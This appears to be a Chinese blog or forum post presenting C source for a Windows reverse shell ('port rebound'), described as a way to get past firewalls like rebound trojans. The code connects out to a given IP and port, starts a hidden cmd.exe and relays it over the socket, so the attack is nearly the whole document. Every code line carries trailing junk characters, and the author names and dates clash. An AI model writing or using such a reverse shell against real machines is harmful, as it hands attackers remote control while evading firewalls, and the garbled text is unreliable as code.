Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 #$fFp  
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/* ============================== 7~`6~qg.  
Rebound port in Windows NT ae1fCw3k  
By wind,2006/7 I`KN8ll  
===============================*/ 9p$q@Bc  
#include +
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#include -XY]WWlq  
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#pragma comment(lib,"wsock32.lib") 2W~2Hk=0+%  
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void OutputShell(); j({L6</x  
SOCKET sClient; /3Gv51'  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Qg oXOVo6  
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void main(int argc,char **argv) ;j_#,Da9<  
{ %F/tbXy{  
WSADATA stWsaData; #6m//0 u  
int nRet; s^v,i CH{  
SOCKADDR_IN stSaiClient,stSaiServer; "|&*MjwN6  
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if(argc != 3) Y2D)$  
{ -s!PO;qm  
printf("Useage:\n\rRebound DestIP DestPort\n"); 9hp0wi@W}  
return; ,!py n<_  
} @',;/j80  
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WSAStartup(MAKEWORD(2,2),&stWsaData); <?n
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O@Kr}8^,  
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stSaiClient.sin_family = AF_INET; #5I "M WA  
stSaiClient.sin_port = htons(0); t[ MRyi)LF  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `4p
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) u1kbWbHu(  
{ hP#&]W3:  
printf("Bind Socket Failed!\n"); Mo<p+*8u:  
return; %`\
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} gR>#LM&dG  
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stSaiServer.sin_family = AF_INET; 5astv:p,P  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); |3cR'|<Ual  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~5#7i_%@E}  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Y{'G2)e  
{ \^:f4Z
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printf("Connect Error!"); \5l}5<|  
return; TPzoU" qh  
} v>P){VT  
OutputShell(); ?d%}K76V<  
} 1|89-Ii]  
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void OutputShell() ZqGq%8\.s  
{ cK } Qu  
char szBuff[1024]; vNt2s)J$  
SECURITY_ATTRIBUTES stSecurityAttributes; u!S{[7 FY  
OSVERSIONINFO stOsversionInfo; 0?sp  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; K&h|r`W(  
STARTUPINFO stStartupInfo; ^YZ#P0 y  
char *szShell; lqs_7HhvRS  
PROCESS_INFORMATION stProcessInformation; ;Os3 !  
unsigned long lBytesRead; <Jk|Bmw;  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); !14z4]b  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); fe$WR~  
stSecurityAttributes.lpSecurityDescriptor = 0; ),Rj@52l  
stSecurityAttributes.bInheritHandle = TRUE; *dl@)~i  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); N!3f1d7RQ  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ;vx9xs?6  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); h^)2:0#{I  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dd+).*  
stStartupInfo.wShowWindow = SW_HIDE; StVv"YY  
stStartupInfo.hStdInput = hReadPipe; *%e#)sn*  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 3WYW])  
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GetVersionEx(&stOsversionInfo); >4E,_`3N  
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switch(stOsversionInfo.dwPlatformId) '$VR_N\  
{ ^b#
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case 1: (65p/$Vh  
szShell = "command.com"; {m?x},  
break; 90!Ib~7zH  
default: Z-?9F`}  
szShell = "cmd.exe"; a*8}~p,  
break; HKwGaCj`  
} )Fw)&5B!  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); S7vE[VF5  
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send(sClient,szMsg,77,0); vX\e* v  
while(1) m @%|Q;  
{ 1DP)6{x  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); yN.D(ZwF:  
if(lBytesRead) [8w2U%}
]  
{ YB|9k)Z2[  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); K&h6#[^\d  
send(sClient,szBuff,lBytesRead,0); DPOPRi~  
} Ah`dt8t  
else '3Ie0QO]"%  
{ -Me\nu8(RF  
lBytesRead=recv(sClient,szBuff,1024,0); A.b#r[  
if(lBytesRead<=0) break; 5PPpX=\  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~e<<aTwN  
} v2'JL(=  
} Ln|${c  
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return; 2'U9!.o
 
}